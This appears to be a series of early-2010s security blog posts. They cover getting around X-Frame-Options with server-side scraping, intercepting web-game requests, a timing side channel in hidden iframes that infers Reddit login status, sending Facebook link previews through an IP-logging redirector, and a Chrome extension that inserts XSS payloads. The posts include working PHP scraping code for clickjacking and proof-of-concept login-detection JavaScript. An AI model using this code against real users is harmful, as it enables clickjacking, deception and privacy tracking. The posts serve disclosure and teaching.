The goal of X-Frame-Options, as described above, was to prevent the loading of one site within another, potentially malicious site. However, there are multiple ways a site's contents can be displayed, and an iframe is only one. Page scraping can be done via a server-side PHP, Python, or other language script. The code below is an example of how a page's code can be loaded using PHP:

<?php

$userAgent = 'Googlebot/2.1 (http://www.googlebot.com/bot.html)';
$url = "https://www.yahoo.com/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$html = curl_exec($ch);

echo $html;

?>

This small bit of code, when loaded on any website, at any URL, will cause the contents of Yahoo's home page to be displayed. A malicious user could overlay hidden elements over the $html echoed out and easily execute the same attack X-Frame-Options prevents.

Protections

Luckily, some large websites like Google and Facebook are aware of issues like these and use a complex combination of user-agent and IP address checks to prevent server-based scripts from loading their content. Replace yahoo.com with facebook.com/your_username in the code above and you'll notice that nothing loads.

You Don't Even Need a Server!

This problem is not typically able to be replicated on a simple HTML page without server-side code because JavaScript has cross-domain policies that prevent it from retrieving content from a different domain (in other words, you can't scrape the HTML using just JavaScript). However, through some clever trickery, http://call.jsonlib.com/ has enabled JavaScript scraping. What is actually happening is the JavaScript makes a call to a server hosted on the public Internet which serves as a middle-man. So the same process is happening (server-side scraping), it is just being called locally using JavaScript.

For this to work, save the file: http://call.jsonlib.com/jsonlib.js locally. Then, create a simple HTML page with the following code:

<script type="text/javascript" src="jsonlib.js"></script>
<script type="text/javascript">
    function fetchPage(url) {
        jsonlib.fetch(url, function(m) { document.getElementById('test').innerHTML=m.content; });
    }
</script>

<body onload="fetchPage('https://donate.mozilla.org/page/contribute/join-mozilla?source=join_link')">
<div id="test">
</div>

Most likely many large websites block sites that enable this middle-man functionality. However, it is easy for anyone with access to a server to recreate the process. X-Frame-Options are very useful, but there is no need to use iframes any longer when copying the entire site's code locally works just as well. To protect yourself against these kinds of attacks, always make sure that you do not enter sensitive data on domains you do not trust. Always check the URL bar before typing!

Tuesday, January 31, 2012

Intercepting Requests in Web Games

[Disclaimer: I am writing this post as an educational look into intercepting and editing GET and POST requests. How you use it is up to you. However, it is not a "security" issue and more of a poor design.]

Most people have probably played some form of online game, especially a "social" game within Facebook. I first got to thinking about these games when a member of the security group I'm in (SPARSA) gave a presentation on editing Android APKs. One demo he gave involved editing the list of approved words in Words with Friends, a Scrabble-like game on Facebook. That demo was done by decompiling the Android APK, editing the source files, and recompiling it. However, since the game had an online counter-part, I wanted to see how Facebook games were sending and receiving their data.

As I mentioned, this application involves playing what is essentially Scrabble with your Facebook friends. To play, a player must use an actual word. On the mobile version, the word is checked against a list of approved words stored within the APK. On the desktop version, the word is sent off to the Zynga's servers to be validated and a response, either valid or invalid, is returned.

As it turns out, intercepting this "word check" is surprisingly simple. In the presentation below, I walk through the steps of intercepting and modifying the GET requests to allow any word to be validated properly, essentially permitting the playing of any word.

Video:


Presentation:

Monday, January 16, 2012

Guessing User Logged-In Status With Redirects and Load Times

I've been working on a project that uses non-traditional methods to detect a user's signed-in status to websites. When you visit a page like "http://reddit.com/submit," that page first checks to verify whether you are logged in or not. If you are already logged in, the standard "Submit" page is displayed. If you are not, the browser is redirected to the login page. My idea rests on the fact that this redirect takes time; not a significant amount of time, but at least a millisecond or two. If we could somehow record the loading times of these pages, we could, with a fair amount of accuracy, determine whether or not a user is logged in to a particular website.

To do this, I have setup an IFRAME within a website (I'll have to check and see if this works by loading a page as if it were a script, but that's later on the agenda). I then use JavaScript to reload the page and then load the page that the page would have directed to. Let's look at an example.

When you go to http://reddit.com/submit and you are logged in, the /submit page is shown. When you are not logged in, you are redirected to https://ssl.reddit.com/login?dest=%2Fsubmit, the standard Reddit login page. My script first loads the submit page. If the user is logged in, the page loads, saving its load time to a variable. Then, the timer is reset and the standard login page is loaded. The end result boils down to these facts:

If you ARE logged in, the submit page will load quicker than the login page because no redirect is needed when the submit page is loaded.

If you ARE NOT logged in, the login page will load quicker because the submit page requires a redirect and the login page does not.

There are a few problems that prevent this script from being a 100%. First, despite an initial page load that doesn't count towards the load timer, caching of the browser is not fully predictable. One page may be cached more than another. Second, although the two page loads are performed within 1.2 seconds of each other, network and remote server conditions could change within that time, causing one page to load faster. This is more of a proof-of-concept than a reliable script, but it does show that a remote page could attempt to guess all of the services you use by loading remote pages in hidden IFRAMEs.

See if it works for you: http://blasze.com/loggedin/

Source:
<html>
    <head>

        <script type="text/javascript">

            var startTime=new Date();
            var a;
            var b;
            var done = 0;

            function currentTime(){
                if(done == 0)
                {
                    done = 1;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="http://www.reddit.com/submit";
                }
                else if(done == 1)
                {
                    a=Math.floor((new Date()-startTime)/100)/10;
                    if (a%1==0) a+=".0";
                    done = 2;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="https://ssl.reddit.com/login?dest=%2Fsubmit";
                }
                else
                {
                    b=Math.floor((new Date()-startTime)/100)/10;
                    if (b%1==0) b+=".0";
                    if(a > (b + .1))
                    {
                        document.write('You are not logged into Reddit.');
                    }
                    else
                    {
                        document.write('You are logged into Reddit.');
                    }
      
                }
            }

        </script>

    </head>
    <body>
        <iframe id="framer" src="http://www.reddit.com/submit" onLoad="currentTime()" style="display:none;"></iframe>


    </body>
</html>

Sunday, January 15, 2012

Spreading Malicious Links by Redirecting Facebook's Previewer

When you post a link on Facebook, Facebook has a link fetcher / preview function that visits the website, grabs information about it, along with a thumbnail if available. If you post a bit.ly link, Facebook's fetcher  is still able to follow through the redirect and grab the end-result information.

Let's start with an example. We have this lovely image of a dog and cat on Imgur (found on /r/aww): http://i.imgur.com/vwMRV.jpg. Out bit.ly link is: http://bit.ly/zrhnPz.

Facebook displays the link like so:


Note that once the link converts to a preview, the original text can be replaced.


Notice that the end link (imgur) is displayed and not the original link of bit.ly. But suppose we skip bit.ly and make our own redirect service. To demo this, I've created a site with a spare domain I have. It is located at: http://blasze.com/iplog/. This site is just a redirection service that logs visitor IPs. But if I was to have more malicious intentions, I could have a browser exploit on the page in between Facebook and the redirect. Then, Facebook's preview utility would successfully fetch the end link, but the user clicking it could be exploited. Let's take a look.

My site generates a URL to post.


Now, like in the previous example, I can edit the link and title and unsuspecting users will think it is a cute dog. However, they're actually being redirected through my malicious site (note: it's not actually malicious. It simply logs IP addresses to prove a point, but an attacker could compromise the browser).

I post and wait...


As you can see in this image, I have a click! The redirection was entirely seamless to the user, just like using bit.ly. But without them ever knowing, I have logged their IP, host name, and user agent string. This isn't terrible, but I could have used a browser exploit to compromise their system instead of just redirecting.

But then wouldn't I be attacking Facebook's previewer too, since it visited the site? Well technically yes, unless I wrote a quick PHP script that simply redirects Facebook's IPs but attacks others.

This is just a demo of something I realized. Please don't use it maliciously, but also be aware that any link you click on Facebook could actually go somewhere else that is not what the preview indicates. To help mitigate this problem, Facebook could include an additional warning on links that redirect.

Sunday, December 4, 2011

Chrome Extension for Easy XSS Insertion

I decided to venture into the world of Chrome extension-making this week. Surprisingly, it was extremely simple to make a basic extension. Getting the extension to interact with the actual code on the page (such as getting the element ID, etc.) was a bit more difficult, but only took a few hours to get working.

Before I could create an extension, I needed an idea. So I decided to make an XSS, mySQL injection snippet manager. It's a fairly basic, but potentially useful little extension that adds a menu to Chrome's right-click context menu. When a user right clicks on a text box, the menu appears, allowing the user to select from a variety of popular XSS attack scripts. When they click one, it's added to the text box and the user can then submit the form and see if the site is vulnerable.

I am only advocating the use of this extension for testing web applications that you own. Do not use this on any other sites. Most of the XSS scripts come from http://ha.ckers.org/xss.html (with permission), an excellent XSS resource.

Download Link: http://matthewdfuller.com/content/WebSec_Toolbox_Chrome_Extension.crx


Screenshot: